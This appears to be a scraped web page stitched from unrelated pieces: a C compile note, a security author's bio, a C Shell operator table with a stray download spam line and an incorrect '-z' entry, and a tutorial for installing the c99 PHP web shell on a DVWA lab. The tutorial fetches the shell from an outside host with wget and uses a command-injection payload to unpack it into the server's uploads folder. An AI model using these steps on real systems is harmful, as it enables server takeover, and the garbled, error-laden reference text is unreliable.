If the code shown above (either version) is stored in file hello.c, then you can compile the code into a program hello using either c99 or make. For example, in a strictly POSIX compliant mode, you might in theory compile and run the program using: $ make hello c99 -o hello hello.c $./hello Hello, World $. Raj Chandel is Founder and CEO of Hacking Articles. He is a renowned security evangelist. His works include researching new ways for both offensive and defensive security and has done illustrious research on computer Security, exploiting Linux and windows, wireless security, computer forensic, securing and exploiting web applications, penetration testing of networks.
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We will now list down all the operators available in C Shell. Here most of the operators are very similar to what we have in C Programming language.
Operators are listed in the order of decreasing precedence −
Arithmetic and Logical Operators
The following table lists out a few Arithmetic and Logical Operators −
| Sr.No. | Operator & Description |
|---|---|
| 1 | ( ) Change precedence |
| 2 | ~ 1's complement |
| 3 | ! Logical negation |
| 4 | * Multiply |
| 5 | / Divide |
| 6 | % Modulo |
| 7 | + Add |
| 8 | - Subtract |
| 9 | << Left shift |
| 10 | >> Right shift |
| 11 | String comparison for equality |
| 12 | != String comparison for non equality |
| 13 | =~ Pattern matching |
| 14 | & Bitwise 'and' |
| 15 | ^ Bitwise 'exclusive or' |
| 16 | | Bitwise 'inclusive or' |
| 17 | && Logical 'and' |
| 18 | || Logical 'or' |
| 19 | ++ Increment |
| 20 | -- Decrement |
| 21 | = Assignment |
| 22 | *= Multiply left side by right side and update left side |
| 23 | /= Divide left side by right side and update left side |
| 24 | += Add left side to right side and update left side |
| 25 | -= Subtract left side from right side and update left side |
| 26 | ^= 'Exclusive or' left side to right side and update left side |
| 27 | %= Divide left by right side and update left side with remainder |
File Test Operators
The following operators test various properties associated with a Unix file.
| Sr.No. | Operator & Description |
|---|---|
| 1 | -r file Checks if file is readable; if yes, then the condition becomes true. |
| 2 | -w file Checks if file is writable; if yes, then the condition becomes true. |
| 3 | -x file Checks if file is executable; if yes, then the condition becomes true. Download mortal kombat 4 setup. |
| 4 | -f file Checks if file is an ordinary file as opposed to a directory or special file; if yes, then the condition becomes true. |
| 5 | -z file Checks if file has size greater than 0; if yes, then the condition becomes true. |
| 6 | -d file Checks if file is a directory; if yes, then the condition becomes true. |
| 7 | -e file Checks if file exists; is true even if file is a directory but exists. |
| 8 | -o file Checks if user owns the file; returns true if the user is the owner of the file. |
Here you go with another GREAT TUTORIAL ;)!
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Requirements: .DVWA Pen testing lab, go here to learn how to setup one: http://adf.ly/aQmQ
- Backtrack 4 or higher version or (Kali Linux)
- Brain
- wget http://r57.gen.tr/shell/c99.rar(Hit Enter) & wait until it downloads C99.rar, Okay.! it's downloaded
- Once again type ls -l c99.rar Hit Enter.
- unrar x c99.rar (Hit Enter)
- cp c99.php c99.php.bkp (Hit Enter)
- head -1 c99.php (Hit Enter)
- sed -i '1 s/^.*$/<?php/g' c99.php (Hit Enter)
- head -1 c99.php (Hit Enter)
- gzip c99.php (Hit Enter)
- ls -l (Hit Enter)
- YOUR_DVWA_IP_ADDRESS/dvwa/hackable/uploads
- Replace Green text with your DVWA lab IP Address as mine is :
- http://192.168.32.128/dvwa/hackable/uploads
C99 Php Shell Tutorial
- YOUR_DVWA_IP; /bin/gunzip -v ./ ./hackable/uploads/c99.php
- Replace Green text with your DVWA IP as mine is:
- 192.168.32.128; /bin/gunzip -v ./ ./hackable/uploads/c99.php
- And Click on Submit.
C99 Shell Download
C99 Download
C99shell Tutorial